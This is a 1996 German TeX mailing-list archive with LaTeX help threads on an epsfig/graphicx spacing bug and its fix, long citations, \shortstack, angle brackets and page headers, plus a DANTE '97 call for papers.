Markus grafische informatik Technical Support Wielandstrasse 28a 32545 Bad Oeynhausen Germany rm@grafische-informatik.com Phone (+49) 5731 792-191 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From root Fri Aug 2 12:05:24 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "Luzia Dietsche - Secretary DANTE e.V." Date: Fri, 2 Aug 1996 12:05:03 +0200 Subject: Re: Versionen emtex, latex, latex2e? Thorsten Baumheinrich (tb@bilbo.mez.ruhr-uni-bochum.de) schrieb am 2.8.1996, 09:31:12 > Kann es sein, dass die Mailingliste zuweilen an Verstopfungen leidet ? > > Ich habe den Eindruck, dass in den vergangenen 1 bis 2 Wochen > kaum noch etwas hierher durchkommt. Von dem obigen Thread hab ich > bislang auch noch nichts gewusst... > ... oder ists die strenge Selektion/Moderation in dieser Liste ? nein, ist es nicht. ich bin eine der owner der liste und habe die anfrage auch nicht erhalten. ich vermute, dass es bei der gmd, bei der die liste beheimatet ist, schwierigkeiten gibt. mit freundlichen gruessen luzia dietsche ps: es wird keine selektion vorgenommen! *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* DANTE, Deutschsprachige Anwendervereinigung TeX e.V. Postfach 101840 D-69008 Heidelberg Schriftfuehrerin DANTE e.V. Tel: 06221/29766 Fax: 06221/167906 email: dante@dante.de Infos: ftp.dante.de oder ftpmail@dante.de in /tex-archive/usergrps/dante/ oder http://www.dante.de/ From root Fri Aug 2 13:26:54 1996 Content-Type: text Message-Id: <9608021135.AA10460@bilbo.mez.ruhr-uni-bochum.de> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Thorsten Baumheinrich To: Multiple recipients of list TEX-D-L In-Reply-To: <199608021005.MAA19781@sun.dante.de> from "Luzia Dietsche - Secretary DANTE e.V." at Aug 2, 96 12:05:03 pm Date: Fri, 2 Aug 1996 13:25:15 +0200 Subject: Re: Versionen emtex, latex, latex2e? According to Luzia Dietsche - Secretary DANTE e.V.: > Thorsten Baumheinrich (tb@bilbo.mez.ruhr-uni-bochum.de) schrieb am 2.8.19= 96, 09:31:12 > > Kann es sein, dass die Mailingliste zuweilen an Verstopfungen leidet ?= (...) > > ... oder ists die strenge Selektion/Moderation in dieser Liste ? > nein, ist es nicht. ich bin eine der owner der liste und habe die > anfrage auch nicht erhalten. ich vermute, dass es bei der gmd, bei > der die liste beheimatet ist, schwierigkeiten gibt. > mit freundlichen gruessen > luzia dietsche > ps: es wird keine selektion vorgenommen! Ok. :-) Vielleicht war der Begriff der Selektion an dieser Stelle etwas deplaziert. Es war nicht mein Ziel, irgendwelche Unterstellungen oder Geruechte zu verbreiten. Viele Gruesse, T. Baumheinrich -- |o|--------------------------------------------------------------------|o| |o| Dipl.-Ing. Thorsten Baumheinrich Ruhr-Universitaet Bochum |o| |o| Lehrstuhl fuer |o| |o| Elektronische Bauelemente |o| |o| und Integrierte Schaltungen |o| |o| Key fingerprint =3D D-44780 Bochum , Germany |o= | |o| |o| |o| 52 48 4D 4E 1B 9C 11 E2 Tel: +49-234-700-6519 |o| |o| 6E A6 11 04 E2 1E 1C 7C Fax: +49-234-7094-102 |o| |o|--------------------------------------------------------------------|o| From root Fri Aug 2 13:26:54 1996 Content-Type: text Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Thorsten Baumheinrich Date: Fri, 2 Aug 1996 13:25:15 +0200 Subject: Re: Versionen emtex, latex, latex2e? According to Luzia Dietsche - Secretary DANTE e.V.: > Thorsten Baumheinrich (tb@bilbo.mez.ruhr-uni-bochum.de) schrieb am 2.8.1996, 09:31:12 > > Kann es sein, dass die Mailingliste zuweilen an Verstopfungen leidet ? (...) > > ... oder ists die strenge Selektion/Moderation in dieser Liste ? > nein, ist es nicht. ich bin eine der owner der liste und habe die > anfrage auch nicht erhalten. ich vermute, dass es bei der gmd, bei > der die liste beheimatet ist, schwierigkeiten gibt. > mit freundlichen gruessen > luzia dietsche > ps: es wird keine selektion vorgenommen! Ok. :-) Vielleicht war der Begriff der Selektion an dieser Stelle etwas deplaziert. Es war nicht mein Ziel, irgendwelche Unterstellungen oder Geruechte zu verbreiten. Viele Gruesse, T. Baumheinrich -- |o|--------------------------------------------------------------------|o| |o| Dipl.-Ing. Thorsten Baumheinrich Ruhr-Universitaet Bochum |o| |o| Lehrstuhl fuer |o| |o| Elektronische Bauelemente |o| |o| und Integrierte Schaltungen |o| |o| Key fingerprint =3D D-44780 Bochum , Germany |o| |o| |o| |o| 52 48 4D 4E 1B 9C 11 E2 Tel: +49-234-700-6519 |o| |o| 6E A6 11 04 E2 1E 1C 7C Fax: +49-234-7094-102 |o| |o|--------------------------------------------------------------------|o| From root Fri Aug 2 15:11:37 1996 Message-Id: <199608021227.OAA22296@sun.dante.de> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "Luzia Dietsche - Secretary DANTE e.V." To: Multiple recipients of list TEX-D-L In-Reply-To: <9608021135.AA10460@bilbo.mez.ruhr-uni-bochum.de> Date: Fri, 2 Aug 1996 14:27:57 +0200 Subject: Re: Versionen emtex, latex, latex2e? Thorsten Baumheinrich (tb@bilbo.mez.ruhr-uni-bochum.de) schrieb am 2.8.1996= , 13:25:15 > Vielleicht war der Begriff der Selektion an dieser Stelle etwas > deplaziert. Es war nicht mein Ziel, irgendwelche Unterstellungen > oder Geruechte zu verbreiten. :-) dann ist ja gut... die liste wird nur von spams freigehalten, das macht die listserv-software (halb-)automatisch. eine wertung der postings wird nicht vorgenommen. mit freundlichen gruessen luzia dietsche *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* DANTE, Deutschsprachige Anwendervereinigung TeX e.V. Postfach 101840 D-69008 Heidelberg Schriftfuehrerin DANTE e.V. Tel: 06221/29766 Fax: 06221/167906 email: dante@dante.de Infos: ftp.dante.de oder ftpmail@dante.de in /tex-archive/usergrps/dante/ oder http://www.dante.de/ From root Fri Aug 2 15:11:37 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "Luzia Dietsche - Secretary DANTE e.V." Date: Fri, 2 Aug 1996 14:27:57 +0200 Subject: Re: Versionen emtex, latex, latex2e? Thorsten Baumheinrich (tb@bilbo.mez.ruhr-uni-bochum.de) schrieb am 2.8.1996, 13:25:15 > Vielleicht war der Begriff der Selektion an dieser Stelle etwas > deplaziert. Es war nicht mein Ziel, irgendwelche Unterstellungen > oder Geruechte zu verbreiten. :-) dann ist ja gut... die liste wird nur von spams freigehalten, das macht die listserv-software (halb-)automatisch. eine wertung der postings wird nicht vorgenommen. mit freundlichen gruessen luzia dietsche *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* DANTE, Deutschsprachige Anwendervereinigung TeX e.V. Postfach 101840 D-69008 Heidelberg Schriftfuehrerin DANTE e.V. Tel: 06221/29766 Fax: 06221/167906 email: dante@dante.de Infos: ftp.dante.de oder ftpmail@dante.de in /tex-archive/usergrps/dante/ oder http://www.dante.de/ From root Fri Aug 2 17:16:41 1996 Content-Type: text/plain Mime-Version: 1.0 (NeXT Mail 3.3 v118.2) Message-Id: <9608021513.AA07434@spock.physik.uni-konstanz.de> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Juergen Petry To: Multiple recipients of list TEX-D-L Date: Fri, 2 Aug 1996 17:13:06 +0200 Hallo Leute, ein Kollege von mir hat folgendes Problem mit seiner LaTeX2e-Version unter NeXT: Jedes Mal, wenn er TeX aufruft, vermehrt sich seine ACTIVE-Project-Group. Inzwischen hat er rund einhundert Versionen davon in der Group-Spalte stehen. Loeschen laesst sich keine davon - oder besser: Wir kriegen's nicht hin. Wer weiss, was man da machen kann?? Danke im Voraus juergen From root Fri Aug 2 17:16:41 1996 Content-Type: text/plain Mime-Version: 1.0 (NeXT Mail 3.3 v118.2) Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Juergen Petry Date: Fri, 2 Aug 1996 17:13:06 +0200 Hallo Leute, ein Kollege von mir hat folgendes Problem mit seiner LaTeX2e-Version unter NeXT: Jedes Mal, wenn er TeX aufruft, vermehrt sich seine ACTIVE-Project-Group. Inzwischen hat er rund einhundert Versionen davon in der Group-Spalte stehen. Loeschen laesst sich keine davon - oder besser: Wir kriegen's nicht hin. Wer weiss, was man da machen kann?? Danke im Voraus juergen From root Fri Aug 2 18:50:43 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=3DUS-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Henning Matthes Date: Fri, 2 Aug 1996 18:44:24 +0200 Subject: epsfig-probs moin, hab da ne Merkw"urdigkeit mit dem epsfig.sty gefunden. Bei dem unten aufgef"uhrten Beispiel wird die EPS-Grafik um 12mm nach rechts verschobenm ausgegeben. Kann mir jemand sagen woran das liegt? Gru"s Henning \documentclass[a4paper]{article} \usepackage{epsfig} \pagestyle{empty} \parindent 0mm \begin{document} \unitlength 1mm \begin{picture}(144,200)(0,0) \put(10,10){\framebox(10,10)[bl]{\epsfig{file=3Dpfeil1.eps,width=3D10mm,height=3D10mm}}} \end{picture} \end{document} %!PS-Adobe-2.0 EPSF-1.2 %%Title: pfeil_1.ps %%Pages: 1 %%BoundingBox: 0 0 101 101 0.5 setgray 0 0 moveto 0 100 rlineto 100 0 rlineto 0 -100 rlineto closepath fill 0 setgray 1 setlinewidth 42 100 moveto 8 -25 rlineto 8 25 rlineto closepath fill %%EOF =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Henning Matthes FON 04383/9898 ISDN M"uhlenbergring 20 FAX 04383/9897 24329 Grebin eMail:matthes@toppoint.de From root Fri Aug 2 19:12:56 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=3DISO-8859-1 Content-Transfer-Encoding: 7bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Friedbert Widmann Date: Fri, 2 Aug 1996 19:12:33 +0200 Subject: Re: epsfig-probs Henning Matthes wrote: > hab da ne Merkw"urdigkeit mit dem epsfig.sty gefunden. > Bei dem unten aufgef"uhrten Beispiel wird die EPS-Grafik > um 12mm nach rechts verschobenm ausgegeben. Kann mir jemand > sagen woran das liegt? 12mm? Bei mir ist es weniger. Ich wuerde sagen, dass es ein Bug in einem neuen graphics-Paket ist. Ich habe diese Datei mit den LaTeX-Versionen <94/12/01> pl-3 und <95/12/01> pl-2 getestet. Bei der Version vom 1.12.94 taucht das Problem nicht auf. Bei der Version vom 1.12.95 wird ein Space vor \includegraphics gesetzt. --- Ja, \epsfig benutzt \includegraphics und der Fehler tritt schon bei \includegraphics auf. Bei \includegraphics tritt der Fehler nur dann auf, wenn optionale Parameter benutzt werden. Ciao Widi > \documentclass[a4paper]{article} > \usepackage{epsfig} > \pagestyle{empty} > \parindent 0mm > \begin{document} > \unitlength 1mm > \begin{picture}(144,200)(0,0) > \put(10,10){\framebox(10,10)[bl]{\epsfig{file=3Dpfeil1.eps,width=3D10mm,height=3D10mm}}} > \end{picture} > \end{document} > > %!PS-Adobe-2.0 EPSF-1.2 > %%Title: pfeil_1.ps > %%Pages: 1 > %%BoundingBox: 0 0 101 101 > 0.5 setgray > 0 0 moveto > 0 100 rlineto > 100 0 rlineto > 0 -100 rlineto > closepath fill > 0 setgray > 1 setlinewidth > 42 100 moveto > 8 -25 rlineto > 8 25 rlineto > closepath fill > %%EOF -- ------------------------------------------------------------------------- Friedbert Widmann mailto:texadmin@informatik.uni-koblenz.de Universitaet Koblenz http://www.uni-koblenz.de/~texadmin (La)TeX Administration oder mailto:widi@informatik.uni-koblenz.de Rheinau 1, D-56075 Koblenz, Germany From root Sat Aug 3 20:37:21 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Martin Schroeder Date: Sat, 3 Aug 1996 15:18:27 +0200 Subject: Re: Nochmal Lange Literatur-Referenzen In Leo Broska writes: >Die folgende Anfrage habe ich schon vor 2 Wochen gestellt. Nun las ich >jedoch gerade, dass es evtl. Probleme mit der Listen-Verteilung gibt; >deshalb kommt das Postinmg nochmal: >Hallo Leute! >Wenn ich im Literaturverzeichnis einen langen Zitiereintrag mache, z.B.: > \bibitem[Meyer, Fundamentalismus. Aufstand gegen die Moderne]{meyer1} > Thomas Meyer, Fundamentalismus. Aufstand gegen die Moderne, > Reinbek 1989 (Rowohlt). >dann wird beim zitieren via > \cite{meyer1} >der lange Text > Meyer, Fundamentalismus. Aufstand gegen die Moderne >nicht umgebrochen, sondern eventuell "uber den Rand hinausgeschrieben. Wirf mal einen Blick auf macros/latex/contrib/other/misc/cite.sty Der sollte sowas erm"oglichen. Gru"s Martin -- Martin Schr"oder, MS@Dream.HB.North.DE Miles Drentell: We marry ourselves, Michael, starting out in step, linked like a man and his reflection. Then the reflection starts making some moves on its own. Revolt of the shadows. The trick is staying in sync. Michael Steadmen: How do you do that? Miles Drentell: First you have to figure out which side of the mirror you're on. 30something From root Sat Aug 3 21:21:51 1996 Content-Type: text Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "Stefan A. Muehlenweg" Date: Sat, 3 Aug 1996 18:18:39 +0200 Subject: Re: Nochmal Lange Literatur-Referenzen Moin Leo, > Wenn ich im Literaturverzeichnis einen langen Zitiereintrag mache, z.B.: > \bibitem[Meyer, Fundamentalismus. Aufstand gegen die Moderne]{meyer1} > Thomas Meyer, Fundamentalismus. Aufstand gegen die Moderne, > Reinbek 1989 (Rowohlt). > dann wird beim zitieren via > \cite{meyer1} > der lange Text > Meyer, Fundamentalismus. Aufstand gegen die Moderne > nicht umgebrochen, sondern eventuell "uber den Rand hinausgeschrieben. > > Weiss eine oder einer Abhilfe? Ich habe vor einigen Jahren vor dem gleichen Problem gestanden. Es gab da bereits eine fertige Loesung auf CTAN, ich erinnere mich nur nicht mehr sicher an den richtigen Namen. Es hiess --- glaube ich: 'breakcites.sty' oder so aehnlich. Tschuess, Stefan Stefan A. Muehlenweg Stefan.A.Muehlenweg@samhh.hanse.de Liliencronstr. 6 Tel. +49 (40) 677 60 97 D-22149 Hamburg, Germany !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! NEW PHONENUMBER after 10th August '96: +49 (40) 67 56 14 77 +++++++++++++++++ If you're happy, you're successful. +++++++++++++++++++++++ From root Mon Aug 5 11:52:17 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=3DISO-8859-1 Content-Transfer-Encoding: 7bit Message-Id: <199608050951.LAA02216@informatik.uni-koblenz.de> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Friedbert Widmann To: Multiple recipients of list TEX-D-L In-Reply-To: = Date: Mon, 5 Aug 1996 11:51:29 +0200 Subject: Re: epsfig-probs Henning Matthes wrote: > > moin, > > hab da ne Merkw"urdigkeit mit dem epsfig.sty gefunden. > Bei dem unten aufgef"uhrten Beispiel wird die EPS-Grafik > um 12mm nach rechts verschobenm ausgegeben. Kann mir jemand > sagen woran das liegt? Es ist ein kleiner Fehler in graphicx.sty. Ich habe den Hinweis von Henning an die latexbug-Datenbank gesandt und bekam flg. Anwort von David Carlisle: > Subject: Re: graphics/2244: Superfluous space with key-values > > Thank you for your report, and your clear test file. > > I am glad you found this one, it is a very bad bug, fortunately it is > easy to fix. > > two thirds of the way doen graphicx.sty you will find the line > > \KV@Gin@natheight\Gin@@eheight} > > Add a % to the end so it looks like this > > \KV@Gin@natheight\Gin@@eheight}% > > and the space should go, (in 99.9999% of cases, strange space in the > output comes from missing % at ends of lines. I should know better > than to make this mistake again:-) > > If you do this please change the top of the file to say > > \ProvidesPackage{graphicx} > [1996/05/29 v1.0 Enhanced LaTeX Graphics (DPC,SPQR) > + fix for graphics/2244] > > > David Ciao Widi From root Mon Aug 5 11:52:17 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=3DISO-8859-1 Content-Transfer-Encoding: 7bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Friedbert Widmann Date: Mon, 5 Aug 1996 11:51:29 +0200 Subject: Re: epsfig-probs Henning Matthes wrote: > > moin, > > hab da ne Merkw"urdigkeit mit dem epsfig.sty gefunden. > Bei dem unten aufgef"uhrten Beispiel wird die EPS-Grafik > um 12mm nach rechts verschobenm ausgegeben. Kann mir jemand > sagen woran das liegt? Es ist ein kleiner Fehler in graphicx.sty. Ich habe den Hinweis von Henning an die latexbug-Datenbank gesandt und bekam flg. Anwort von David Carlisle: > Subject: Re: graphics/2244: Superfluous space with key-values > > Thank you for your report, and your clear test file. > > I am glad you found this one, it is a very bad bug, fortunately it is > easy to fix. > > two thirds of the way doen graphicx.sty you will find the line > > \KV@Gin@natheight\Gin@@eheight} > > Add a % to the end so it looks like this > > \KV@Gin@natheight\Gin@@eheight}% > > and the space should go, (in 99.9999% of cases, strange space in the > output comes from missing % at ends of lines. I should know better > than to make this mistake again:-) > > If you do this please change the top of the file to say > > \ProvidesPackage{graphicx} > [1996/05/29 v1.0 Enhanced LaTeX Graphics (DPC,SPQR) > + fix for graphics/2244] > > > David Ciao Widi From root Mon Aug 5 19:11:41 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=3DUS-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Henning Matthes Date: Mon, 5 Aug 1996 18:54:13 +0200 Subject: shortstack moin, da bin ich schon wieder mit so nem l"astigen Problem: Der Shortstackbefehl macht mir einen viel zu gro"sen Abstand, am liebsten wu"urd ich so umbasteln, da"s ich den Durchschu"s von Hand angeben kann. Nun hab ich mir mal latex.ltx angeschaut und soviel isses ja gar nicht. \gdef\shortstack{\@ifnextchar[\@shortstack{\@shortstack[c]}} \gdef\@shortstack[#1]{% \leavevmode \vbox\bgroup \baselineskip-\p@\lineskip 3\p@ <=3D=3D wenn man da dran dreht gehts \let\mb@l\hss\let\mb@r\hss \expandafter\let\csname mb@#1\endcsname\relax \let\\\@stackcr \@ishortstack} \gdef\@ishortstack#1{\ialign{\mb@l {##}\unskip\mb@r\cr #1\crcr}\egroup} einfach aus shortstack meinshortstack, und schon hab ich, zumindest teil- weise das gew"unschte Ergebnis. IS ABER WOHL KAUM IM SINNE DER ERFINDER ;-) Any good idea? Gru"s Henning =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Henning Matthes FON 04383/9898 ISDN M"uhlenbergring 20 FAX 04383/9897 24329 Grebin eMail:matthes@toppoint.de From root Sat Aug 3 10:39:31 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=3DUS-ASCII Message-Id: Sender: German TeX Users Communication List From: Leo Broska To: Multiple recipients of list TEX-D-L Date: Sat, 3 Aug 1996 10:39:17 -6000 Subject: Nochmal Lange Literatur-Referenzen Die folgende Anfrage habe ich schon vor 2 Wochen gestellt. Nun las ich jedoch gerade, dass es evtl. Probleme mit der Listen-Verteilung gibt; deshalb kommt das Postinmg nochmal: Hallo Leute! Wenn ich im Literaturverzeichnis einen langen Zitiereintrag mache, z.B.: \bibitem[Meyer, Fundamentalismus. Aufstand gegen die Moderne]{meyer= 1} Thomas Meyer, Fundamentalismus. Aufstand gegen die Moderne,= Reinbek 1989 (Rowohlt). dann wird beim zitieren via \cite{meyer1} der lange Text Meyer, Fundamentalismus. Aufstand gegen die Moderne nicht umgebrochen, sondern eventuell "uber den Rand hinausgeschrieben. Weiss eine oder einer Abhilfe? ciao, leo. ----------------------------------------------| Leo Arnt Broska, Uni Heidelberg, Germany |----------------------------= -- ----------------------------------------------| Hey Gott, Alte, seit wan= n eMail: broska@salbei.iwr.uni-heidelberg.de |----------------------------= -- ----------------------------------------------| verstehst Du mich als Man= n? |----------------------------= -- From root Sat Aug 3 10:39:31 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=3DUS-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Leo Broska Date: Sat, 3 Aug 1996 10:39:17 -6000 Subject: Nochmal Lange Literatur-Referenzen Die folgende Anfrage habe ich schon vor 2 Wochen gestellt. Nun las ich jedoch gerade, dass es evtl. Probleme mit der Listen-Verteilung gibt; deshalb kommt das Postinmg nochmal: Hallo Leute! Wenn ich im Literaturverzeichnis einen langen Zitiereintrag mache, z.B.: \bibitem[Meyer, Fundamentalismus. Aufstand gegen die Moderne]{meyer1} Thomas Meyer, Fundamentalismus. Aufstand gegen die Moderne, Reinbek 1989 (Rowohlt). dann wird beim zitieren via \cite{meyer1} der lange Text Meyer, Fundamentalismus. Aufstand gegen die Moderne nicht umgebrochen, sondern eventuell "uber den Rand hinausgeschrieben. Weiss eine oder einer Abhilfe? ciao, leo. ----------------------------------------------| Leo Arnt Broska, Uni Heidelberg, Germany |------------------------------ ----------------------------------------------| Hey Gott, Alte, seit wann eMail: broska@salbei.iwr.uni-heidelberg.de |------------------------------ ----------------------------------------------| verstehst Du mich als Mann? |------------------------------ From root Tue Aug 6 11:35:45 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Johannes Heinecke Date: Tue, 6 Aug 1996 11:35:00 +0200 Subject: Frage: Spitze Klammern in Mathe-Umgebung ----- Begin Included Message ----- Liebe TeX-Leute, hier ist eine Anfrage eines Kollegen, dessen Problem ich auch nicht l"osen konnte. Vielleicht kann's einer von euch? Danke, Johannes Hi, innerhalb einer Matheumgebung brauche ich _gro"se_spitze_ Klammern um ein Array. Nach Kopka m"u"ste es mit \left\langle bzw. \right\rangle gehen, geht aber nicht :-(. Geschweifte Klammern, eckige oder nur Striche gehen aber :-|. Unten ein einfaches Beispiel: die spitzen Klammern gehen nur von 2 bis 4, die runden, wie gew"unscht, von 1 bis 5. \documentstyle[]{article} \begin{document} \begin{equation} \left( \left\langle \begin{array}{l} 1 \\ 2 \\ 3 \\ 4 \\ 5 \end{array} \right\rangle \right) \end{equation} \end{document} Habe ich den Befehl richtig genutzt, liegt's am LaTeX oder geht es grunds"atzlich nicht (Warum gibt's dann aber \langle?) ? From root Tue Aug 6 15:32:41 1996 Message-Id: <199608061332.PAA16205@apollon.compling.hu-berlin.de> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Johannes Heinecke To: Multiple recipients of list TEX-D-L Date: Tue, 6 Aug 1996 15:32:04 +0200 Subject: Nur section-Uberschriften im Header Hi TeX-fans, ich stell' mich gerade doof an, oder es ist wirklich kompliziert. F"ur einen Text {article} brauch ich im Header immer nur die section-"Uberschrift, aber nicht die subsection-"Uberschrift. Ich habe mit fancyheadings rumgespielt (damit ich unten auf der Seite u.a. die Seitennummer hinschreiben kann) Aber in den Header schreibt mir Latex immer dann die subsection-"Uberschrif= t, wenn es auf der aktuellen Seite gerade eine gibt. Gibt es mehrere subsection-"Uberschriften auf einer Seite, nimmt es die erste, und nicht di= e letzte. So definiere ich (gerade) alles: \lhead{\fancyplain{}{\rightmark}} \chead{} \rhead{} \headrulewidth0pt \lfoot{Antrag} \cfoot{} \rfoot{\thepage} Wie kann ich es "andern, dass immer rechts oben (einseitiger Druck) die Section steht, und zwar NICHT in Kapit"alchen (sieht doof aus) sondern in \rm? Auf Hilfe hoffend gr"usst Johannes From root Tue Aug 6 15:32:41 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Johannes Heinecke Date: Tue, 6 Aug 1996 15:32:04 +0200 Subject: Nur section-Uberschriften im Header Hi TeX-fans, ich stell' mich gerade doof an, oder es ist wirklich kompliziert. F"ur einen Text {article} brauch ich im Header immer nur die section-"Uberschrift, aber nicht die subsection-"Uberschrift. Ich habe mit fancyheadings rumgespielt (damit ich unten auf der Seite u.a. die Seitennummer hinschreiben kann) Aber in den Header schreibt mir Latex immer dann die subsection-"Uberschrift, wenn es auf der aktuellen Seite gerade eine gibt. Gibt es mehrere subsection-"Uberschriften auf einer Seite, nimmt es die erste, und nicht die letzte. So definiere ich (gerade) alles: \lhead{\fancyplain{}{\rightmark}} \chead{} \rhead{} \headrulewidth0pt \lfoot{Antrag} \cfoot{} \rfoot{\thepage} Wie kann ich es "andern, dass immer rechts oben (einseitiger Druck) die Section steht, und zwar NICHT in Kapit"alchen (sieht doof aus) sondern in \rm? Auf Hilfe hoffend gr"usst Johannes From root Tue Aug 6 14:34:52 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=3DUS-ASCII Content-Transfer-Encoding: 7BIT Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "J%org Knappen, Mainz" Date: Tue, 6 Aug 1996 14:36:21 +0100 Subject: Re: Frage: Spitze Klammern in Mathe-Umgebung W"ahrend die runden, eckigen und Schweifklammern beliebige H"ohen annhemen k"onnen, weil sie durch Geradenst"ucke gestreckt werden k"onnen, haben die spitzen Klammern eine maximale Gr"o"se, die nicht ohne weiteres "uberschritten werden kann. Abhilfe k"onnte ein spezieller Font mit "uberhohen spitzen Klammern schaffen. --J"org Knappen. From root Tue Aug 6 14:34:52 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=3DUS-ASCII Content-Transfer-Encoding: 7BIT Message-Id: <01I7YJ6DU3TEA3C8M9@MZDMZA.ZDV.UNI-MAINZ.DE> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "J%org Knappen, Mainz" To: Multiple recipients of list TEX-D-L Date: Tue, 6 Aug 1996 14:36:21 +0100 Subject: Re: Frage: Spitze Klammern in Mathe-Umgebung W"ahrend die runden, eckigen und Schweifklammern beliebige H"ohen annhemen k"onnen, weil sie durch Geradenst"ucke gestreckt werden k"onnen, haben die spitzen Klammern eine maximale Gr"o"se, die nicht ohne weiteres "uberschritten werden kann. Abhilfe k"onnte ein spezieller Font mit "uberhohen spitzen Klammern schaffen. --J"org Knappen. From root Tue Aug 6 16:13:50 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Johannes Heinecke Date: Tue, 6 Aug 1996 16:13:31 +0200 Subject: Re: Nur section-Uberschriften im Header Vielen Dank! K"onntest du mir die Styles mal schicken? Der LaTeX-Begleiter war in dieser Sache eher konfus. Und eben habe ich das hausbackene \pagestyle{headings} genommen, und es geht (fast). Nur die doofen Uppercases und die fehlende Seitenzahl unten. Gruss Johannes From root Tue Aug 6 16:08:17 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Andreas Tille Date: Tue, 6 Aug 1996 16:06:53 MESZ Subject: Re: Nur section-Uberschriften im Header > Wie kann ich es "andern, dass immer rechts oben (einseitiger Druck) > die Section steht, und zwar NICHT in Kapit"alchen (sieht doof aus) sondern > in \rm? Sieht wirklich doof aus und deshalb haben wir hier mal zwei Styles geschrieben, die sich die betroffenen LaTeX-Interna (pr"azieser: Kopien derselben) vornehmen und etwas ummodeln. Wenn bedarf besteht kann ich Dir sie mal schicken. Da sieht man wenigstens, wie's gemacht wird, wenn es noch nicht ganz den W"unschen entspricht. Ansonsten immer wieder: LaTeX-Begleiter lesen! Andreas. From root Wed Aug 7 00:21:04 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=3DUS-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Thomas Hafner Date: Wed, 7 Aug 1996 00:15:18 +0200 Subject: Ankuendigung: DANTE 97 an der FH Muenchen DANTE '97 vom 25. bis 28. Februar 1997 Einladung zur 16. Mitgliederversammlung von DANTE e.V. und zur TeX-Tagung DANTE '97 an der Fachhochschule Muenchen CALL FOR PAPERS Veranstalter: Fachhochschule Muenchen und DANTE e.V. vorlaeufiger Terminplan: Dienstag, 25.02.97 Tutorien Mittwoch, 26.02.97 Tutorien Donnerstag, 27.02.97 Mitgliederversammlung, Vortraege Freitag, 28.02.97 Vortraege, Abschlussdiskussion Kontaktadresse: Fachhochschule Muenchen, FB Elektrotechnik Dante 97 Dachauerstr. 98 b 80335 Muenchen e-mail: dante97@fitug.de Alle, die einen Vortrag oder ein Tutorium halten oder eine Diskussion leiten wollen, werden gebeten, sich unter der obigen Kontaktadresse moeglichst bald zu melden. Termin: 1. Dezember 1996 Informationen zur Anmeldung und Tagungsprogramm werden rechtzeitig bekanntgegeben. Bei Fragen wenden Sie sich an dante97@fitug.de Bitte beachten Sie auch http://www.dante.de/dante/Tagungen.html und http://www.fitug.de/dante97 Mit freundlichen Gruessen Thomas Hafner (Thomas.Hafner@fitug.de) P.S. Sie kennen FITUG noch nicht? Infos unter http://www.fitug.de/ From root Wed Aug 7 11:22:44 1996 Message-Id: <199608070643.IAA11572@bernoulli.mathematik.uni-freiburg.de> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Hattenbach To: Multiple recipients of list TEX-D-L Date: Wed, 7 Aug 1996 08:43:19 +0200 Subject: qu: keine Seitennummer bei Part Hallo, ich habe hier ein Problem, dass ich bisher mit \thispagestyle{empty} nicht = in den Griff bekommen: Auf dem Teil, der mit \part anfaengt, soll KEINE Seitenzahl erscheinen, ega= l wo ich \thispagestyle{empty} plaziere, die Seitenzahl kommt... So sieht der Text aus: \documentclass[twoside,11pt,a4paper]{report} \usepackage{german,a4} \usepackage{latexsym} \begin{document} \pagestyle{empty} \input{leer} % ist wirklich noch leer \pagestyle{myheadings} \pagenumbering{roman} \tableofcontents \thispagestyle{empty} 